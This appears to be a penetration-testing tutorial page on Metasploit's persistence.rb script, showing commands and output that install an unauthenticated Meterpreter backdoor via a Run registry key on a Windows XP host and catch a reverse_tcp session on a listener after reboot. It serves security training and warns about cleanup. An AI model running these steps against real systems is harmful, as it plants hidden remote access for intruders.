Meterpreter Service a11y.text Meterpreter Service Understanding the MetasploitÂ Meterpreter a11y.text Understanding the MetasploitÂ Meterpreter After going through all the hard work of exploiting a system, itâ€™s often a good idea to leave yourself an easier way back into the system for later use. This way, if the service you initially exploited is down or patched, you can still gain access to the system. Metasploit has a Meterpreter script, persistence.rb , that will create a Meterpreter service that will be available to you even if the remote system is rebooted. One word of warning here before we go any further. The persistent Meterpreter as shown here requires no authentication. This means that anyone that gains access to the port could access your back door! This is not a good thing if you are conducting a penetration test, as this could be a significant risk. In a real world situation, be sure to exercise the utmost caution and be sure to clean up after yourself when the engagement is done. Once weâ€™ve initially exploited the host, we run persistence with the -h switch to see which options are available: meterpreter > run persistence -h

```

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:


   -A        Automatically start a matching exploit/multi/handler to connect to the agent
   -L   Location in target host to write payload to, if none %TEMP% will be used.
   -P   Payload to use, default is windows/meterpreter/reverse_tcp.
   -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
   -T   Alternate executable template to use
   -U        Automatically start the agent when the User logs on
   -X        Automatically start the agent when the system boots
```

```
    -h        This help menu
    -i   The interval in seconds between each connection attempt
    -p   The port on which the system running Metasploit is listening
```

-r The IP of the system running Metasploit listening for the connect back We will configure our persistent Meterpreter session to wait until a user logs on to the remote system and try to connect back to our listener every 5 seconds at IP address 192.168.1.71 on port 443. meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71

```
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc
/root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
```

meterpreter > Notice that the script output gives you the command to remove the persistent listener when you are done with it. Be sure to make note of it so you donâ€™t leave an unauthenticated backdoor on the system. To verify that it works, we reboot the remote system and set up our payload handler. meterpreter > reboot

```
Rebooting...
meterpreter > exit


[*] Meterpreter session 3 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler... When a user logs in to the remote system, a Meterpreter session is opened up for us. [*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600

meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > Next MSF Extended Usage Prev Persistent Backdoors
```